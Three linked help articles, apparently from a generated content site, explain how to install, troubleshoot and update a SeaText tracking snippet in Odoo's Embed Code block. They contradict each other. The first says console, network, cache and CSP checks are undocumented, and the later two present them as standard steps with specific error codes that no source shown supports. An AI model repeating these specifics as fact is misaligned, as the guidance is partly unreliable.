Direct Answer: The SeaText Odoo integration guide does not provide a built-in verification step. After saving the Embed Code block, you can confirm the snippet was saved by reopening the block's Edit panel and checking that the code is still present. For functional confirmation, contact SeaText support or refer to your account dashboard if available.

How SeaText Integration Works in Odoo

SeaText connects to an Odoo website through a JavaScript snippet that you place inside an Embed Code block. The snippet loads from SeaText's content delivery network and begins analyzing visitor behavior once the page loads. The integration guide describes a specific sequence: open the Website module, edit the target page, drag an Embed Code block from the Dynamic Content section, click the Edit button in the right panel, paste the snippet into the pop-up window, and save. The guide also recommends enabling Hide on Desktop in the Visibility section so the block itself remains invisible to visitors while the script runs.

Step-by-Step Installation Process

  1. Log in to your Odoo account and open the Website module from the dashboard.
  2. Navigate to the page you want to edit and click the Edit button to open the editing panel.
  3. In the Blocks panel, scroll to the Dynamic Content section.
  4. Locate the Embed Code module and drag it into the desired location on the page.
  5. Once the module is placed, click the Edit button located in the right panel to open the code input pop-up.
  6. Paste the JavaScript snippet provided by SeaText into the designated area and click Save.
  7. To keep the block hidden on desktop devices, select the Hide on Desktop option in the Visibility section and click Save again.

These steps come directly from the official SeaText Odoo integration guide. The guide emphasizes using the Edit button in the right panel after placing the block — pasting into the page body or a different block type is a common cause of silent failure.

Domain Restrictions and Account Requirements

The integration guide states that each SeaText account is linked to a single primary URL. This means multiple domains require separate accounts. Development URLs such as localhost are restricted for security reasons. Dynamic development domains may not function properly because SeaText might be unable to reliably associate traffic with your account. If you need to use SeaText on a staging subdomain and a production domain, you must create separate accounts for each. The guide explicitly says: "Each SEATEXT AI account is linked to a single primary URL."

Verifying the Installation

The source guide does not provide a built-in verification step. After saving the Embed Code block, you can confirm the snippet was saved by reopening the block's Edit panel and checking that the code is still present. This confirms the code exists in Odoo's content storage. For functional confirmation — whether the script loads, executes, and communicates with SeaText — the guide does not specify a method. You would need to contact SeaText support or refer to your account dashboard if such a feature exists there.

Because the guide does not describe browser developer tools checks, console messages like "SeaText AI loaded," network requests to cdn.seatext.com, dashboard status indicators, or debug URL parameters, those methods should not be presented as official verification steps. They may work in practice but are not documented by SeaText for Odoo integrations.

Common Issues and Limitations

  • Snippet not saved: Re-open the Embed Code block in Odoo, ensure the entire snippet (including script tags) is pasted into the pop-up window, click Save, then publish the page.
  • Invalid domain: Confirm you are using a valid, real domain. Localhost and dynamic development domains are restricted and will not work.
  • Multiple domains: Each domain needs its own SeaText account and its own Embed Code block. The script is tied to a single primary URL per account.
  • Block visibility: If you see an empty container on the live page, enable Hide on Desktop in the block's Visibility settings and save again.

These troubleshooting points come directly from the integration guide's stated restrictions and installation steps. The guide does not mention Odoo cache clearing, Content Security Policy whitelisting, QWeb templates, ir.asset models, or debug URL parameters as part of the standard integration process.

Frequently Asked Questions

Can I use the same SeaText account for multiple Odoo websites?

No. The integration guide states each SeaText account is linked to a single primary URL. Multiple domains require separate accounts.

Why can't I use localhost or a staging subdomain?

The guide restricts development URLs such as localhost for security reasons. Dynamic development domains may not function properly because SeaText might be unable to reliably associate traffic with your account.

How do I hide the Embed Code block from visitors?

After placing the block, click the Edit button in the right panel, then select Hide on Desktop in the Visibility section and click Save.

Where exactly do I paste the JavaScript snippet?

After dragging the Embed Code block onto the page, click the Edit button in the right panel. A pop-up window appears. Paste the snippet into the designated area in that pop-up and click Save.

What if the script doesn't appear to be working?

The guide does not provide a built-in verification method. Confirm the snippet is saved by reopening the Embed Code block's Edit panel. For functional confirmation, contact SeaText support or check your account dashboard if available.

When to Contact SeaText Support

If you have followed the installation steps exactly — placed the Embed Code block from Dynamic Content, pasted the full snippet via the right-panel Edit button, saved, published, and used a valid real domain — but cannot confirm the script is functioning, the next step is to reach out to SeaText support. They can inspect the exact network payload from your domain and confirm whether the integration is active. The integration guide does not offer further diagnostic steps beyond the installation procedure and domain restrictions described above.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

What Happens If You Paste the Wrong SeaText Code into Odoo?

Direct Answer: Pasting incorrect SeaText code into Odoo leads to silent failures, broken tracking, or site-wide JavaScript errors. This guide explains how to diagnose, fix, and prevent integration issues.

Understanding the Impact of Incorrect Code

Integrating SeaText into Odoo involves injecting a JavaScript snippet that bridges your website with AI agents. If you paste the wrong code—such as a snippet from a different account, a truncated string, or a corrupted block—the most immediate result is a silent failure. The SeaText agents will not appear or function because the browser cannot authenticate the request or locate the correct configuration.

Because Odoo's website builder is sensitive to how scripts are injected, a malformed code block can trigger console errors. These errors might prevent other page components from rendering correctly, especially if the script is placed in a sensitive area of the DOM. If you notice your page layout shifting or buttons becoming unresponsive after an update, the script is the first place to check.

Criteria Correct Integration Incorrect Integration
Agent Loading Loads automatically Silent failure/No agents
Console Status Clean 403/404 Errors
Data Tracking Accurate Inaccurate/Missing
Site Stability Stable Potential JS conflicts

Diagnostic Steps for Integration Issues

If you suspect you have pasted the wrong code, follow this diagnostic sequence to restore functionality:

  • Check the Console: Open your browser's Developer Tools (F12) and look at the "Console" tab. If you see "403 Forbidden" or "404 Not Found" errors related to the SeaText script, it confirms the code is either incorrect or linked to an unauthorized domain.
  • Verify the Account Link: Each SeaText account is strictly linked to a single primary URL. If you copied code from a development environment to your production site, the AI will refuse to connect for security reasons.
  • Clear the Block: Navigate back to the "Embed Code" module in your Odoo Website editor. Delete the existing snippet entirely to ensure no hidden characters or formatting artifacts remain.
  • Re-paste the Clean Code: Copy the fresh, raw JavaScript directly from your SeaText dashboard. Avoid copying from intermediate text editors that might add invisible formatting tags.

Trade-offs: Embed Code vs. Custom Integration

Using Odoo's "Embed Code" module is the fastest way to deploy SeaText, but it has limitations. Odoo's script sanitization may occasionally strip or modify complex scripts. For most users, this is sufficient. However, if you require advanced configurations like Content Security Policy (CSP) headers or specific async loading behaviors, you may need to consider a custom Odoo module or header injection. A custom module provides more control over script execution order and prevents Odoo's editor from accidentally altering your code.

Common Error Scenarios

Truncated Snippets: If you copy only part of the code, the browser will fail to initialize the SeaText object. This often results in a "ReferenceError: SeaText is not defined" in your console.

Wrong Account ID: Using an ID from a different account causes a domain mismatch. The SeaText server will reject the request, and you will see a 403 error in the Network tab of your browser console.

Staging vs. Production: Never use your staging script on your production site. SeaText enforces strict domain security. If the domain in your account settings does not match the live URL, the agents will remain inert.

Advanced Configuration Tips

To ensure optimal performance, consider these advanced tips:

  • Async Loading: Ensure your script is loaded asynchronously to prevent it from blocking the main thread, which keeps your page speed high.
  • CSP Headers: If your site uses a strict Content Security Policy, you must whitelist the SeaText domain to allow the script to execute.
  • Incognito Testing: Always test your changes in an Incognito window. This bypasses browser cache and ensures you are seeing the live, updated version of your site.

Why Domain Association Matters

SeaText enforces strict security protocols regarding domain association. Because the AI agents perform real-time optimizations—such as rewriting headlines and managing conversion signals—they must be explicitly authorized for the specific URL where they are deployed. Using a script from a "localhost" or a staging domain on your live site will cause the integration to fail. Always ensure you have created a dedicated account for each unique domain you intend to optimize.

Frequently Asked Questions

Can I use the same code for multiple websites?

No. Each SeaText account is linked to a single primary URL. You must create separate accounts for each domain to ensure proper tracking and security.

Will an incorrect code snippet slow down my site?

Usually, no. If the code is invalid, the browser will fail to execute it quickly. However, if the code is partially valid but points to a non-existent resource, it may cause minor latency while the browser waits for a response.

How do I know if the code is working?

Once installed, the AI agents will begin to detect traffic and optimize content in real-time. You can verify this by checking your SeaText dashboard for active traffic signals and checking the Network tab in your browser console for successful 200 responses.

Does the code need to be updated if I change my domain?

Yes. If you change your primary domain, you must update your SeaText account settings or create a new account to match the new URL.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Updating SeaText in Odoo: Community vs. Enterprise Editions

Direct Answer: The process for updating SeaText is identical in both Odoo Community and Enterprise because the integration relies on the standard Website Builder's "Embed Code" module. Regardless of your edition, you simply access the same block, replace the existing JavaScript snippet with the new one, and save your changes.

Is there a difference in the update process?

No, there is no functional difference in how you update SeaText between Odoo Community and Odoo Enterprise. Because SeaText integrates via a standard JavaScript snippet placed within the Odoo Website Builder, the workflow remains consistent across both versions.

Whether you are using the free Community edition or the subscription-based Enterprise edition, you interact with the same "Embed Code" module. The underlying Odoo architecture for managing custom scripts in the website editor does not change based on your licensing tier.

Criteria Odoo Community Odoo Enterprise Takeaway
Integration Method Embed Code Module Embed Code Module The technical implementation is identical.
Access Location Website Editor Website Editor You navigate to the same menu in both versions.
Update Workflow Manual Script Swap Manual Script Swap Updating is a simple copy-paste task in both.
Cache Handling Manual Refresh Required Manual Refresh Required Both require clearing the cache to see changes.
Recommendation: No edition upgrade is required solely for SeaText script management; choose edition based on other business needs.

How the Update Process Works

To update your SeaText script, log in to your Odoo backend and navigate to the Website module. Open the page where the script is currently active and click the Edit button. Locate the Embed Code block—usually found within the Dynamic Content section—and click it to open the configuration window. Simply replace the old JavaScript snippet with your new code and click Save.

According to the official integration guide (S1), the steps are: drag the Embed Code module into the page, click the Edit button in the right panel, paste the new snippet, and save. The same steps apply to both editions.

Why Cache Management Matters

Odoo aggressively caches website assets to ensure fast load times. If you update your SeaText code but do not see the changes reflected on your live site, it is almost certainly due to Odoo's internal caching. You must clear the website cache from the backend or perform a hard refresh in your browser to force the site to load the updated script.

Clearing the cache can be done from the Website menu by selecting "Clear cache" or by appending "?debug=assets" to the URL and reloading. Both methods work in Community and Enterprise.

Common Pitfalls During Updates

The most common mistake is failing to remove the old script entirely. If you accidentally leave remnants of the previous version, you may experience script conflicts that prevent the AI agents from initializing. Always ensure the old code is completely deleted before pasting the new version.

Real‑world scenario: staging vs. production mismatch

A team updates the script on a staging site but forgets to propagate the same change to the production instance. Visitors on production continue to load the outdated snippet, causing inconsistent AI behavior and broken personalization.

Troubleshooting checklist

  • Verify the Embed Code block contains only the latest snippet.
  • Clear Odoo cache and browser cache.
  • Open the page in an incognito window to rule out local caching.
  • Check the browser console for JavaScript errors referencing SeaText.
  • Confirm the SeaText account matches the primary URL of the site.

When to Use Different Accounts

Remember that each SeaText account is tied to a single primary URL. If you are managing multiple Odoo instances—for example, a development environment and a live production site—you must create separate SeaText accounts for each. This ensures that traffic data and AI agent behavior remain accurate for each specific domain.

The integration guide (S1) states that development URLs such as localhost are restricted and each domain requires its own account.

Key Facts for Odoo Integration

  • Installation: Uses the "Embed Code" module in the "Dynamic Content" section of the Odoo Website editor.
  • Visibility: You can hide the block on desktop devices using the "Visibility" settings if needed.
  • Security: Development URLs like "localhost" are restricted; always use a valid, real domain.
  • Activation: The AI remains inert until the script is correctly placed and saved.

Why This Consistency Matters for Your Team

Because the Embed Code module behaves identically in Community and Enterprise, your team can standardize documentation and training. New hires learn one procedure that works everywhere.

Unified documentation reduces the time spent maintaining separate guides for each edition. Handoffs between developers working on Community instances and those on Enterprise instances become smoother.

Predictable maintenance windows are easier to plan. You can schedule script updates for all environments at once without worrying about edition‑specific steps.

Reduced training overhead means lower onboarding costs and fewer errors during routine updates.

Frequently Asked Questions

Do I need to reinstall the module to update the code?

No. You do not need to remove or re-add the "Embed Code" module. Simply click the existing module to edit its contents and replace the script.

Will updating the code cause downtime?

No. The update process is instantaneous. Once you click "Save," the new script is active on your site.

Does Odoo Enterprise offer an easier way to manage scripts?

While Odoo Enterprise offers advanced features like Odoo Studio, the standard way to inject third-party scripts like SeaText remains the "Embed Code" module for consistency.

How do I verify the update was successful?

Use your browser's developer tools (Inspect Element) to check the Network or Console tabs. If the new script is loading correctly, you will see the SeaText resource being called without errors.

Can I use the same SeaText account for a Community dev site and an Enterprise production site?

No. Each primary URL needs its own SeaText account. The integration guide (S1) specifies that a single account is linked to one primary URL.

Does the Hide on Desktop visibility setting work identically in both editions?

Yes. The visibility option is part of the standard Embed Code module and functions the same way in Community and Enterprise.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.